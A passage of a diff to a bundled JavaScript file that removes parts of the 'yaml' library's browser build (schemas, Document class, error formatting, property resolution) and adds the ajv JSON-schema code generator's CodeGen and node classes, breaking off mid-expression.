= getCode === null || getCode === void 0 ? void 0 : getCode(name2)) { + code = (0, code_1._)`${code}${c7}${this.opts._n}`; + } else { + throw new ValueError(name2); + } + nameSet.set(name2, UsedValueState.Completed); + }); + } + return code; + } }; + exports28.ValueScope = ValueScope; } }); -// node_modules/yaml/browser/dist/schema/yaml-1.1/schema.js -var schema3; -var init_schema3 = __esm({ - "node_modules/yaml/browser/dist/schema/yaml-1.1/schema.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_map(); - init_null(); - init_seq(); - init_string(); - init_binary(); - init_bool2(); - init_float2(); - init_int2(); - init_merge(); - init_omap(); - init_pairs(); - init_set(); - init_timestamp(); - schema3 = [ - map, - seq, - string, - nullTag, - trueTag, - falseTag, - intBin, - intOct2, - int2, - intHex2, - floatNaN2, - floatExp2, - float2, - binary, - merge, - omap, - pairs, - set, - intTime, - floatTime, - timestamp - ]; - } -}); - -// node_modules/yaml/browser/dist/schema/tags.js -function getTags(customTags, schemaName, addMergeTag) { - const schemaTags = schemas.get(schemaName); - if (schemaTags && !customTags) { - return addMergeTag && !schemaTags.includes(merge) ? schemaTags.concat(merge) : schemaTags.slice(); - } - let tags6 = schemaTags; - if (!tags6) { - if (Array.isArray(customTags)) - tags6 = []; - else { - const keys2 = Array.from(schemas.keys()).filter((key) => key !== "yaml11").map((key) => JSON.stringify(key)).join(", "); - throw new Error(`Unknown schema "${schemaName}"; use one of ${keys2} or define customTags array`); - } - } - if (Array.isArray(customTags)) { - for (const tag of customTags) - tags6 = tags6.concat(tag); - } else if (typeof customTags === "function") { - tags6 = customTags(tags6.slice()); - } - if (addMergeTag) - tags6 = tags6.concat(merge); - return tags6.reduce((tags7, tag) => { - const tagObj = typeof tag === "string" ? tagsByName[tag] : tag; - if (!tagObj) { - const tagName = JSON.stringify(tag); - const keys2 = Object.keys(tagsByName).map((key) => JSON.stringify(key)).join(", "); - throw new Error(`Unknown custom tag ${tagName}; use one of ${keys2}`); - } - if (!tags7.includes(tagObj)) - tags7.push(tagObj); - return tags7; - }, []); -} -var schemas, tagsByName, coreKnownTags; -var init_tags = __esm({ - "node_modules/yaml/browser/dist/schema/tags.js"() { +// node_modules/ajv/dist/compile/codegen/index.js +var require_codegen = __commonJS({ + "node_modules/ajv/dist/compile/codegen/index.js"(exports28) { + "use strict"; init_dirname(); init_buffer2(); init_process2(); - init_map(); - init_null(); - init_seq(); - init_string(); - init_bool(); - init_float(); - init_int(); - init_schema(); - init_schema2(); - init_binary(); - init_merge(); - init_omap(); - init_pairs(); - init_schema3(); - init_set(); - init_timestamp(); - schemas = /* @__PURE__ */ new Map([ - ["core", schema], - ["failsafe", [map, seq, string]], - ["json", schema2], - ["yaml11", schema3], - ["yaml-1.1", schema3] - ]); - tagsByName = { - binary, - bool: boolTag, - float, - floatExp, - floatNaN, - floatTime, - int, - intHex, - intOct, - intTime, - map, - merge, - null: nullTag, - omap, - pairs, - seq, - set, - timestamp - }; - coreKnownTags = { - "tag:yaml.org,2002:binary": binary, - "tag:yaml.org,2002:merge": merge, - "tag:yaml.org,2002:omap": omap, - "tag:yaml.org,2002:pairs": pairs, - "tag:yaml.org,2002:set": set, - "tag:yaml.org,2002:timestamp": timestamp + Object.defineProperty(exports28, "__esModule", { value: true }); + exports28.or = exports28.and = exports28.not = exports28.CodeGen = exports28.operators = exports28.varKinds = exports28.ValueScopeName = exports28.ValueScope = exports28.Scope = exports28.Name = exports28.regexpCode = exports28.stringify = exports28.getProperty = exports28.nil = exports28.strConcat = exports28.str = exports28._ = void 0; + var code_1 = require_code(); + var scope_1 = require_scope(); + var code_2 = require_code(); + Object.defineProperty(exports28, "_", { enumerable: true, get: function() { + return code_2._; + } }); + Object.defineProperty(exports28, "str", { enumerable: true, get: function() { + return code_2.str; + } }); + Object.defineProperty(exports28, "strConcat", { enumerable: true, get: function() { + return code_2.strConcat; + } }); + Object.defineProperty(exports28, "nil", { enumerable: true, get: function() { + return code_2.nil; + } }); + Object.defineProperty(exports28, "getProperty", { enumerable: true, get: function() { + return code_2.getProperty; + } }); + Object.defineProperty(exports28, "stringify", { enumerable: true, get: function() { + return code_2.stringify; + } }); + Object.defineProperty(exports28, "regexpCode", { enumerable: true, get: function() { + return code_2.regexpCode; + } }); + Object.defineProperty(exports28, "Name", { enumerable: true, get: function() { + return code_2.Name; + } }); + var scope_2 = require_scope(); + Object.defineProperty(exports28, "Scope", { enumerable: true, get: function() { + return scope_2.Scope; + } }); + Object.defineProperty(exports28, "ValueScope", { enumerable: true, get: function() { + return scope_2.ValueScope; + } }); + Object.defineProperty(exports28, "ValueScopeName", { enumerable: true, get: function() { + return scope_2.ValueScopeName; + } }); + Object.defineProperty(exports28, "varKinds", { enumerable: true, get: function() { + return scope_2.varKinds; + } }); + exports28.operators = { + GT: new code_1._Code(">"), + GTE: new code_1._Code(">="), + LT: new code_1._Code("<"), + LTE: new code_1._Code("<="), + EQ: new code_1._Code("==="), + NEQ: new code_1._Code("!=="), + NOT: new code_1._Code("!"), + OR: new code_1._Code("||"), + AND: new code_1._Code("&&"), + ADD: new code_1._Code("+") }; - } -}); - -// node_modules/yaml/browser/dist/schema/Schema.js -var sortMapEntriesByKey, Schema; -var init_Schema = __esm({ - "node_modules/yaml/browser/dist/schema/Schema.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_map(); - init_seq(); - init_string(); - init_tags(); - sortMapEntriesByKey = (a7, b8) => a7.key < b8.key ? -1 : a7.key > b8.key ? 1 : 0; - Schema = class _Schema { - constructor({ compat, customTags, merge: merge7, resolveKnownTags, schema: schema8, sortMapEntries, toStringDefaults }) { - this.compat = Array.isArray(compat) ? getTags(compat, "compat") : compat ? getTags(null, compat) : null; - this.name = typeof schema8 === "string" && schema8 || "core"; - this.knownTags = resolveKnownTags ? coreKnownTags : {}; - this.tags = getTags(customTags, this.name, merge7); - this.toStringOptions = toStringDefaults ?? null; - Object.defineProperty(this, MAP, { value: map }); - Object.defineProperty(this, SCALAR, { value: string }); - Object.defineProperty(this, SEQ, { value: seq }); - this.sortMapEntries = typeof sortMapEntries === "function" ? sortMapEntries : sortMapEntries === true ? sortMapEntriesByKey : null; + var Node = class { + optimizeNodes() { + return this; } - clone() { - const copy4 = Object.create(_Schema.prototype, Object.getOwnPropertyDescriptors(this)); - copy4.tags = this.tags.slice(); - return copy4; + optimizeNames(_names, _constants) { + return this; } }; - } -}); - -// node_modules/yaml/browser/dist/stringify/stringifyDocument.js -function stringifyDocument(doc, options) { - const lines = []; - let hasDirectives = options.directives === true; - if (options.directives !== false && doc.directives) { - const dir2 = doc.directives.toString(doc); - if (dir2) { - lines.push(dir2); - hasDirectives = true; - } else if (doc.directives.docStart) - hasDirectives = true; - } - if (hasDirectives) - lines.push("---"); - const ctx = createStringifyContext(doc, options); - const { commentString } = ctx.options; - if (doc.commentBefore) { - if (lines.length !== 1) - lines.unshift(""); - const cs = commentString(doc.commentBefore); - lines.unshift(indentComment(cs, "")); - } - let chompKeep = false; - let contentComment = null; - if (doc.contents) { - if (isNode(doc.contents)) { - if (doc.contents.spaceBefore && hasDirectives) - lines.push(""); - if (doc.contents.commentBefore) { - const cs = commentString(doc.contents.commentBefore); - lines.push(indentComment(cs, "")); + var Def = class extends Node { + constructor(varKind, name2, rhs) { + super(); + this.varKind = varKind; + this.name = name2; + this.rhs = rhs; } - ctx.forceBlockIndent = !!doc.comment; - contentComment = doc.contents.comment; - } - const onChompKeep = contentComment ? void 0 : () => chompKeep = true; - let body = stringify(doc.contents, ctx, () => contentComment = null, onChompKeep); - if (contentComment) - body += lineComment(body, "", commentString(contentComment)); - if ((body[0] === "|" || body[0] === ">") && lines[lines.length - 1] === "---") { - lines[lines.length - 1] = `--- ${body}`; - } else - lines.push(body); - } else { - lines.push(stringify(doc.contents, ctx)); - } - if (doc.directives?.docEnd) { - if (doc.comment) { - const cs = commentString(doc.comment); - if (cs.includes("\n")) { - lines.push("..."); - lines.push(indentComment(cs, "")); - } else { - lines.push(`... ${cs}`); + render({ es5, _n }) { + const varKind = es5 ? scope_1.varKinds.var : this.varKind; + const rhs = this.rhs === void 0 ? "" : ` = ${this.rhs}`; + return `${varKind} ${this.name}${rhs};` + _n; } - } else { - lines.push("..."); - } - } else { - let dc = doc.comment; - if (dc && chompKeep) - dc = dc.replace(/^\n+/, ""); - if (dc) { - if ((!chompKeep || contentComment) && lines[lines.length - 1] !== "") - lines.push(""); - lines.push(indentComment(commentString(dc), "")); - } - } - return lines.join("\n") + "\n"; -} -var init_stringifyDocument = __esm({ - "node_modules/yaml/browser/dist/stringify/stringifyDocument.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_identity(); - init_stringify(); - init_stringifyComment(); - } -}); - -// node_modules/yaml/browser/dist/doc/Document.js -function assertCollection(contents) { - if (isCollection(contents)) - return true; - throw new Error("Expected a YAML collection as document contents"); -} -var Document; -var init_Document = __esm({ - "node_modules/yaml/browser/dist/doc/Document.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - init_Alias(); - init_Collection(); - init_identity(); - init_Pair(); - init_toJS(); - init_Schema(); - init_stringifyDocument(); - init_anchors(); - init_applyReviver(); - init_createNode(); - init_directives(); - Document = class _Document { - constructor(value2, replacer, options) { - this.commentBefore = null; - this.comment = null; - this.errors = []; - this.warnings = []; - Object.defineProperty(this, NODE_TYPE, { value: DOC }); - let _replacer = null; - if (typeof replacer === "function" || Array.isArray(replacer)) { - _replacer = replacer; - } else if (options === void 0 && replacer) { - options = replacer; - replacer = void 0; - } - const opt = Object.assign({ - intAsBigInt: false, - keepSourceTokens: false, - logLevel: "warn", - prettyErrors: true, - strict: true, - stringKeys: false, - uniqueKeys: true, - version: "1.2" - }, options); - this.options = opt; - let { version: version5 } = opt; - if (options?._directives) { - this.directives = options._directives.atDocument(); - if (this.directives.yaml.explicit) - version5 = this.directives.yaml.version; - } else - this.directives = new Directives({ version: version5 }); - this.setSchema(version5, options); - this.contents = value2 === void 0 ? null : this.createNode(value2, _replacer, options); + optimizeNames(names, constants5) { + if (!names[this.name.str]) + return; + if (this.rhs) + this.rhs = optimizeExpr(this.rhs, names, constants5); + return this; } - /** - * Create a deep copy of this Document and its contents. - * - * Custom Node values that inherit from `Object` still refer to their original instances. - */ - clone() { - const copy4 = Object.create(_Document.prototype, { - [NODE_TYPE]: { value: DOC } - }); - copy4.commentBefore = this.commentBefore; - copy4.comment = this.comment; - copy4.errors = this.errors.slice(); - copy4.warnings = this.warnings.slice(); - copy4.options = Object.assign({}, this.options); - if (this.directives) - copy4.directives = this.directives.clone(); - copy4.schema = this.schema.clone(); - copy4.contents = isNode(this.contents) ? this.contents.clone(copy4.schema) : this.contents; - if (this.range) - copy4.range = this.range.slice(); - return copy4; + get names() { + return this.rhs instanceof code_1._CodeOrName ? this.rhs.names : {}; } - /** Adds a value to the document. */ - add(value2) { - if (assertCollection(this.contents)) - this.contents.add(value2); + }; + var Assign = class extends Node { + constructor(lhs, rhs, sideEffects) { + super(); + this.lhs = lhs; + this.rhs = rhs; + this.sideEffects = sideEffects; } - /** Adds a value to the document. */ - addIn(path2, value2) { - if (assertCollection(this.contents)) - this.contents.addIn(path2, value2); + render({ _n }) { + return `${this.lhs} = ${this.rhs};` + _n; } - /** - * Create a new `Alias` node, ensuring that the target `node` has the required anchor. - * - * If `node` already has an anchor, `name` is ignored. - * Otherwise, the `node.anchor` value will be set to `name`, - * or if an anchor with that name is already present in the document, - * `name` will be used as a prefix for a new unique anchor. - * If `name` is undefined, the generated anchor will use 'a' as a prefix. - */ - createAlias(node, name2) { - if (!node.anchor) { - const prev = anchorNames(this); - node.anchor = // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing - !name2 || prev.has(name2) ? findNewAnchor(name2 || "a", prev) : name2; - } - return new Alias(node.anchor); + optimizeNames(names, constants5) { + if (this.lhs instanceof code_1.Name && !names[this.lhs.str] && !this.sideEffects) + return; + this.rhs = optimizeExpr(this.rhs, names, constants5); + return this; } - createNode(value2, replacer, options) { - let _replacer = void 0; - if (typeof replacer === "function") { - value2 = replacer.call({ "": value2 }, "", value2); - _replacer = replacer; - } else if (Array.isArray(replacer)) { - const keyToStr = (v8) => typeof v8 === "number" || v8 instanceof String || v8 instanceof Number; - const asStr = replacer.filter(keyToStr).map(String); - if (asStr.length > 0) - replacer = replacer.concat(asStr); - _replacer = replacer; - } else if (options === void 0 && replacer) { - options = replacer; - replacer = void 0; - } - const { aliasDuplicateObjects, anchorPrefix, flow: flow2, keepUndefined, onTagObj, tag } = options ?? {}; - const { onAnchor, setAnchors, sourceObjects } = createNodeAnchors( - this, - // eslint-disable-next-line @typescript-eslint/prefer-nullish-coalescing - anchorPrefix || "a" - ); - const ctx = { - aliasDuplicateObjects: aliasDuplicateObjects ?? true, - keepUndefined: keepUndefined ?? false, - onAnchor, - onTagObj, - replacer: _replacer, - schema: this.schema, - sourceObjects - }; - const node = createNode(value2, tag, ctx); - if (flow2 && isCollection(node)) - node.flow = true; - setAnchors(); - return node; + get names() { + const names = this.lhs instanceof code_1.Name ? {} : { ...this.lhs.names }; + return addExprNames(names, this.rhs); } - /** - * Convert a key and a value into a `Pair` using the current schema, - * recursively wrapping all values as `Scalar` or `Collection` nodes. - */ - createPair(key, value2, options = {}) { - const k6 = this.createNode(key, null, options); - const v8 = this.createNode(value2, null, options); - return new Pair(k6, v8); + }; + var AssignOp = class extends Assign { + constructor(lhs, op, rhs, sideEffects) { + super(lhs, rhs, sideEffects); + this.op = op; } - /** - * Removes a value from the document. - * @returns `true` if the item was found and removed. - */ - delete(key) { - return assertCollection(this.contents) ? this.contents.delete(key) : false; + render({ _n }) { + return `${this.lhs} ${this.op}= ${this.rhs};` + _n; } - /** - * Removes a value from the document. - * @returns `true` if the item was found and removed. - */ - deleteIn(path2) { - if (isEmptyPath(path2)) { - if (this.contents == null) - return false; - this.contents = null; - return true; - } - return assertCollection(this.contents) ? this.contents.deleteIn(path2) : false; + }; + var Label = class extends Node { + constructor(label) { + super(); + this.label = label; + this.names = {}; } - /** - * Returns item at `key`, or `undefined` if not found. By default unwraps - * scalar values from their surrounding node; to disable set `keepScalar` to - * `true` (collections are always returned intact). - */ - get(key, keepScalar) { - return isCollection(this.contents) ? this.contents.get(key, keepScalar) : void 0; + render({ _n }) { + return `${this.label}:` + _n; } - /** - * Returns item at `path`, or `undefined` if not found. By default unwraps - * scalar values from their surrounding node; to disable set `keepScalar` to - * `true` (collections are always returned intact). - */ - getIn(path2, keepScalar) { - if (isEmptyPath(path2)) - return !keepScalar && isScalar(this.contents) ? this.contents.value : this.contents; - return isCollection(this.contents) ? this.contents.getIn(path2, keepScalar) : void 0; + }; + var Break = class extends Node { + constructor(label) { + super(); + this.label = label; + this.names = {}; } - /** - * Checks if the document includes a value with the key `key`. - */ - has(key) { - return isCollection(this.contents) ? this.contents.has(key) : false; + render({ _n }) { + const label = this.label ? ` ${this.label}` : ""; + return `break${label};` + _n; } - /** - * Checks if the document includes a value at `path`. - */ - hasIn(path2) { - if (isEmptyPath(path2)) - return this.contents !== void 0; - return isCollection(this.contents) ? this.contents.hasIn(path2) : false; + }; + var Throw = class extends Node { + constructor(error2) { + super(); + this.error = error2; } - /** - * Sets a value in this document. For `!!set`, `value` needs to be a - * boolean to add/remove the item from the set. - */ - set(key, value2) { - if (this.contents == null) { - this.contents = collectionFromPath(this.schema, [key], value2); - } else if (assertCollection(this.contents)) { - this.contents.set(key, value2); - } + render({ _n }) { + return `throw ${this.error};` + _n; } - /** - * Sets a value in this document. For `!!set`, `value` needs to be a - * boolean to add/remove the item from the set. - */ - setIn(path2, value2) { - if (isEmptyPath(path2)) { - this.contents = value2; - } else if (this.contents == null) { - this.contents = collectionFromPath(this.schema, Array.from(path2), value2); - } else if (assertCollection(this.contents)) { - this.contents.setIn(path2, value2); + get names() { + return this.error.names; + } + }; + var AnyCode = class extends Node { + constructor(code) { + super(); + this.code = code; + } + render({ _n }) { + return `${this.code};` + _n; + } + optimizeNodes() { + return `${this.code}` ? this : void 0; + } + optimizeNames(names, constants5) { + this.code = optimizeExpr(this.code, names, constants5); + return this; + } + get names() { + return this.code instanceof code_1._CodeOrName ? this.code.names : {}; + } + }; + var ParentNode = class extends Node { + constructor(nodes = []) { + super(); + this.nodes = nodes; + } + render(opts) { + return this.nodes.reduce((code, n7) => code + n7.render(opts), ""); + } + optimizeNodes() { + const { nodes } = this; + let i7 = nodes.length; + while (i7--) { + const n7 = nodes[i7].optimizeNodes(); + if (Array.isArray(n7)) + nodes.splice(i7, 1, ...n7); + else if (n7) + nodes[i7] = n7; + else + nodes.splice(i7, 1); } + return nodes.length > 0 ? this : void 0; } - /** - * Change the YAML version and schema used by the document. - * A `null` version disables support for directives, explicit tags, anchors, and aliases. - * It also requires the `schema` option to be given as a `Schema` instance value. - * - * Overrides all previously set schema options. - */ - setSchema(version5, options = {}) { - if (typeof version5 === "number") - version5 = String(version5); - let opt; - switch (version5) { - case "1.1": - if (this.directives) - this.directives.yaml.version = "1.1"; - else - this.directives = new Directives({ version: "1.1" }); - opt = { resolveKnownTags: false, schema: "yaml-1.1" }; - break; - case "1.2": - case "next": - if (this.directives) - this.directives.yaml.version = version5; - else - this.directives = new Directives({ version: version5 }); - opt = { resolveKnownTags: true, schema: "core" }; - break; - case null: - if (this.directives) - delete this.directives; - opt = null; - break; - default: { - const sv = JSON.stringify(version5); - throw new Error(`Expected '1.1', '1.2' or null as first argument, but found: ${sv}`); - } + optimizeNames(names, constants5) { + const { nodes } = this; + let i7 = nodes.length; + while (i7--) { + const n7 = nodes[i7]; + if (n7.optimizeNames(names, constants5)) + continue; + subtractNames(names, n7.names); + nodes.splice(i7, 1); } - if (options.schema instanceof Object) - this.schema = options.schema; - else if (opt) - this.schema = new Schema(Object.assign(opt, options)); - else - throw new Error(`With a null YAML version, the { schema: Schema } option is required`); - } - // json & jsonArg are only used from toJSON() - toJS({ json: json2, jsonArg, mapAsMap, maxAliasCount, onAnchor, reviver } = {}) { - const ctx = { - anchors: /* @__PURE__ */ new Map(), - doc: this, - keep: !json2, - mapAsMap: mapAsMap === true, - mapKeyWarned: false, - maxAliasCount: typeof maxAliasCount === "number" ? maxAliasCount : 100 - }; - const res = toJS(this.contents, jsonArg ?? "", ctx); - if (typeof onAnchor === "function") - for (const { count: count2, res: res2 } of ctx.anchors.values()) - onAnchor(res2, count2); - return typeof reviver === "function" ? applyReviver(reviver, { "": res }, "", res) : res; + return nodes.length > 0 ? this : void 0; } - /** - * A JSON representation of the document `contents`. - * - * @param jsonArg Used by `JSON.stringify` to indicate the array index or - * property name. - */ - toJSON(jsonArg, onAnchor) { - return this.toJS({ json: true, jsonArg, mapAsMap: false, onAnchor }); + get names() { + return this.nodes.reduce((names, n7) => addNames(names, n7.names), {}); + } + }; + var BlockNode = class extends ParentNode { + render(opts) { + return "{" + opts._n + super.render(opts) + "}" + opts._n; + } + }; + var Root2 = class extends ParentNode { + }; + var Else = class extends BlockNode { + }; + Else.kind = "else"; + var If = class _If extends BlockNode { + constructor(condition, nodes) { + super(nodes); + this.condition = condition; + } + render(opts) { + let code = `if(${this.condition})` + super.render(opts); + if (this.else) + code += "else " + this.else.render(opts); + return code; } - /** A YAML representation of the document. */ - toString(options = {}) { - if (this.errors.length > 0) - throw new Error("Document with errors cannot be stringified"); - if ("indent" in options && (!Number.isInteger(options.indent) || Number(options.indent) <= 0)) { - const s7 = JSON.stringify(options.indent); - throw new Error(`"indent" option must be a positive integer, not ${s7}`); + optimizeNodes() { + super.optimizeNodes(); + const cond2 = this.condition; + if (cond2 === true) + return this.nodes; + let e10 = this.else; + if (e10) { + const ns = e10.optimizeNodes(); + e10 = this.else = Array.isArray(ns) ? new Else(ns) : ns; + } + if (e10) { + if (cond2 === false) + return e10 instanceof _If ? e10 : e10.nodes; + if (this.nodes.length) + return this; + return new _If(not(cond2), e10 instanceof _If ? [e10] : e10.nodes); } - return stringifyDocument(this, options); + if (cond2 === false || !this.nodes.length) + return void 0; + return this; + } + optimizeNames(names, constants5) { + var _a2; + this.else = (_a2 = this.else) === null || _a2 === void 0 ? void 0 : _a2.optimizeNames(names, constants5); + if (!(super.optimizeNames(names, constants5) || this.else)) + return; + this.condition = optimizeExpr(this.condition, names, constants5); + return this; + } + get names() { + const names = super.names; + addExprNames(names, this.condition); + if (this.else) + addNames(names, this.else.names); + return names; } }; - } -}); - -// node_modules/yaml/browser/dist/errors.js -var YAMLError, YAMLParseError, YAMLWarning, prettifyError; -var init_errors = __esm({ - "node_modules/yaml/browser/dist/errors.js"() { - init_dirname(); - init_buffer2(); - init_process2(); - YAMLError = class extends Error { - constructor(name2, pos, code, message) { + If.kind = "if"; + var For = class extends BlockNode { + }; + For.kind = "for"; + var ForLoop = class extends For { + constructor(iteration) { + super(); + this.iteration = iteration; + } + render(opts) { + return `for(${this.iteration})` + super.render(opts); + } + optimizeNames(names, constants5) { + if (!super.optimizeNames(names, constants5)) + return; + this.iteration = optimizeExpr(this.iteration, names, constants5); + return this; + } + get names() { + return addNames(super.names, this.iteration.names); + } + }; + var ForRange = class extends For { + constructor(varKind, name2, from, to) { super(); + this.varKind = varKind; this.name = name2; - this.code = code; - this.message = message; - this.pos = pos; + this.from = from; + this.to = to; + } + render(opts) { + const varKind = opts.es5 ? scope_1.varKinds.var : this.varKind; + const { name: name2, from, to } = this; + return `for(${varKind} ${name2}=${from}; ${name2}<${to}; ${name2}++)` + super.render(opts); + } + get names() { + const names = addExprNames(super.names, this.from); + return addExprNames(names, this.to); } }; - YAMLParseError = class extends YAMLError { - constructor(pos, code, message) { - super("YAMLParseError", pos, code, message); + var ForIter = class extends For { + constructor(loop, varKind, name2, iterable) { + super(); + this.loop = loop; + this.varKind = varKind; + this.name = name2; + this.iterable = iterable; + } + render(opts) { + return `for(${this.varKind} ${this.name} ${this.loop} ${this.iterable})` + super.render(opts); + } + optimizeNames(names, constants5) { + if (!super.optimizeNames(names, constants5)) + return; + this.iterable = optimizeExpr(this.iterable, names, constants5); + return this; + } + get names() { + return addNames(super.names, this.iterable.names); } }; - YAMLWarning = class extends YAMLError { - constructor(pos, code, message) { - super("YAMLWarning", pos, code, message); + var Func = class extends BlockNode { + constructor(name2, args, async) { + super(); + this.name = name2; + this.args = args; + this.async = async; + } + render(opts) { + const _async = this.async ? "async " : ""; + return `${_async}function ${this.name}(${this.args})` + super.render(opts); } }; - prettifyError = (src, lc) => (error2) => { - if (error2.pos[0] === -1) - return; - error2.linePos = error2.pos.map((pos) => lc.linePos(pos)); - const { line, col } = error2.linePos[0]; - error2.message += ` at line ${line}, column ${col}`; - let ci = col - 1; - let lineStr = src.substring(lc.lineStarts[line - 1], lc.lineStarts[line]).replace(/[\n\r]+$/, ""); - if (ci >= 60 && lineStr.length > 80) { - const trimStart2 = Math.min(ci - 39, lineStr.length - 79); - lineStr = "\u2026" + lineStr.substring(trimStart2); - ci -= trimStart2 - 1; - } - if (lineStr.length > 80) - lineStr = lineStr.substring(0, 79) + "\u2026"; - if (line > 1 && /^ *$/.test(lineStr.substring(0, ci))) { - let prev = src.substring(lc.lineStarts[line - 2], lc.lineStarts[line - 1]); - if (prev.length > 80) - prev = prev.substring(0, 79) + "\u2026\n"; - lineStr = prev + lineStr; - } - if (/[^ ]/.test(lineStr)) { - let count2 = 1; - const end = error2.linePos[1]; - if (end && end.line === line && end.col > col) { - count2 = Math.max(1, Math.min(end.col - col, 80 - ci)); - } - const pointer = " ".repeat(ci) + "^".repeat(count2); - error2.message += `: - -${lineStr} -${pointer} -`; + Func.kind = "func"; + var Return = class extends ParentNode { + render(opts) { + return "return " + super.render(opts); } }; - } -}); - -// node_modules/yaml/browser/dist/compose/resolve-props.js -function resolveProps(tokens, { flow: flow2, indicator, next, offset, onError, parentIndent, startOnNewline }) { - let spaceBefore = false; - let atNewline = startOnNewline; - let hasSpace = startOnNewline; - let comment = ""; - let commentSep = ""; - let hasNewline = false; - let reqSpace = false; - let tab = null; - let anchor = null; - let tag = null; - let newlineAfterProp = null; - let comma = null; - let found = null; - let start = null; - for (const token of tokens) { - if (reqSpace) { - if (token.type !== "space" && token.type !== "newline" && token.type !== "comma") - onError(token.offset, "MISSING_CHAR", "Tags and anchors must be separated from the next token by white space"); - reqSpace = false; - } - if (tab) { - if (atNewline && token.type !== "comment" && token.type !== "newline") { - onError(tab, "TAB_AS_INDENT", "Tabs are not allowed as indentation"); + Return.kind = "return"; + var Try = class extends BlockNode { + render(opts) { + let code = "try" + super.render(opts); + if (this.catch) + code += this.catch.render(opts); + if (this.finally) + code += this.finally.render(opts); + return code; } - tab = null; - } - switch (token.type) { - case "space": - if (!flow2 && (indicator !== "doc-start" || next?.type !== "flow-collection") && token.source.includes(" ")) { - tab = token; + optimizeNodes() { + var _a2, _b; + super.optimizeNodes(); + (_a2 = this.catch) === null || _a2 === void 0 ? void 0 : _a2.optimizeNodes(); + (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNodes(); + return this; + } + optimizeNames(names, constants5) { + var _a2, _b; + super.optimizeNames(names, constants5); + (_a2 = this.catch) === null || _a2 === void 0 ? void 0 : _a2.optimizeNames(names, constants5); + (_b = this.finally) === null || _b === void 0 ? void 0 : _b.optimizeNames(names, constants5); + return this; + } + get names() { + const names = super.names; + if (this.catch) + addNames(names, this.catch.names); + if (this.finally) + addNames(names, this.finally.names); + return names; + } + }; + var Catch = class extends BlockNode { + constructor(error2) { + super(); + this.error = error2; + } + render(opts) { + return `catch(${this.error})` + super.render(opts); + } + }; + Catch.kind = "catch"; + var Finally = class extends BlockNode { + render(opts) { + return "finally" + super.render(opts); + } + }; + Finally.kind = "finally"; + var CodeGen = class { + constructor(extScope, opts = {}) { + this._values = {}; + this._blockStarts = []; + this._constants = {}; + this.opts = { ...opts, _n: opts.lines ? "\n" : "" }; + this._extScope = extScope; + this._scope = new scope_1.Scope({ parent: extScope }); + this._nodes = [new Root2()]; + } + toString() { + return this._root.render(this.opts); + } + // returns unique name in the internal scope + name(prefix) { + return this._scope.name(prefix); + } + // reserves unique name in the external scope + scopeName(prefix) { + return this._extScope.name(prefix); + } + // reserves unique name in the external scope and assigns value to it + scopeValue(prefixOrName, value2) { + const name2 = this._extScope.value(prefixOrName, value2); + const vs = this._values[name2.prefix] || (this._values[name2.prefix] = /* @__PURE__ */ new Set()); + vs.add(name2); + return name2; + } + getScopeValue(prefix, keyOrRef) { + return this._extScope.getValue(prefix, keyOrRef); + } + // return code that assigns values in the external scope to the names that are used internally + // (same names that were returned by gen.scopeName or gen.scopeValue) + scopeRefs(scopeName) { + return this._extScope.scopeRefs(scopeName, this._values); + } + scopeCode() { + return this._extScope.scopeCode(this._values); + } + _def(varKind, nameOrPrefix, rhs, constant2) { + const name2 = this._scope.toName(nameOrPrefix); + if (rhs !== void 0 && constant2) + this._constants[name2.str] = rhs; + this._leafNode(new Def(varKind, name2, rhs)); + return name2; + } + // `const` declaration (`var` in es5 mode) + const(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.const, nameOrPrefix, rhs, _constant); + } + // `let` declaration with optional assignment (`var` in es5 mode) + let(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.let, nameOrPrefix, rhs, _constant); + } + // `var` declaration with optional assignment + var(nameOrPrefix, rhs, _constant) { + return this._def(scope_1.varKinds.var, nameOrPrefix, rhs, _constant); + } + // assignment code + assign(lhs, rhs, sideEffects) { + return this._leafNode(new Assign(lhs, rhs, sideEffects)); + } + // `+=` code + add(lhs, rhs) { + return this._leafNode(new AssignOp(lhs, exports28.operators.ADD, rhs)); + } + // appends passed SafeExpr to code or executes Block + code(c7) { + if (typeof c7 == "function") + c7(); + else if (c7 !== code_1.nil) + this._leafNode(new AnyCode(c7)); + return this; + } + // returns code for object literal for the passed argument list of key-value pairs + object(...keyValues) { + const code = ["{"]; + for (const [key, value2] of keyValues) { + if (code.length > 1) + code.push(","); + code.push(key); + if (key !== value2 || this.opts.es5) { + code.push(":"); + (0, code_1.addCodeArg)(code, value2); + } } - hasSpace = true; - break; - case "comment": { - if (!hasSpace) - onError(token, "MISSING_CHAR", "Comments must be separated from other tokens by white space characters"); - const cb = token.source.substring(1) || " "; - if (!comment) - comment = cb; - else - comment += commentSep + cb; - commentSep = ""; - atNewline = false; - break; + code.push("}"); + return new code_1._Code(code); } - case "newline": - if (atNewline) { - if (comment) - comment += token.source; - else if (!found || indicator !== "seq-item-ind") - spaceBefore = true; - } else - commentSep += token.source; - atNewline = true; - hasNewline = true; - if (anchor || tag) - newlineAfterProp = token; - hasSpace = true; - break; - case "anchor": - if (anchor) - onError(token, "MULTIPLE_ANCHORS", "A node can have at most one anchor"); - if (token.source.endsWith(":")) - onError(token.offset + token.source.length - 1, "BAD_ALIAS", "Anchor ending in : is ambiguous", true); - anchor = token; - start ?? (start = token.offset); - atNewline = false; - hasSpace = false; - reqSpace = true; - break; - case "tag": { - if (tag) - onError(token, "MULTIPLE_TAGS", "A node can have at most one tag"); - tag = token; - start ?? (start = token.offset); - atNewline = false; - hasSpace = false; - reqSpace = true; - break; + // `if` clause (or statement if `thenBody` and, optionally, `elseBody` are passed) + if(condition, thenBody, elseBody) { + this._blockNode(new If(condition)); + if (thenBody && elseBody) { + this.code(thenBody).else().code(elseBody).endIf(); + } else if (thenBody) { + this.code(thenBody).endIf(); + } else if (elseBody) { + throw new Error('CodeGen: "else" body without "then" body'); + } + return this; } - case indicator: - if (anchor || tag) - onError(token, "BAD_PROP_ORDER", `Anchors and tags must be after the ${token.source} indicator`); - if (found) - onError(token, "UNEXPECTED_TOKEN", `Unexpected ${token.source} in ${flow2 ?? "collection"}`); - found = token; - atNewline = indicator === "seq-item-ind" || indicator === 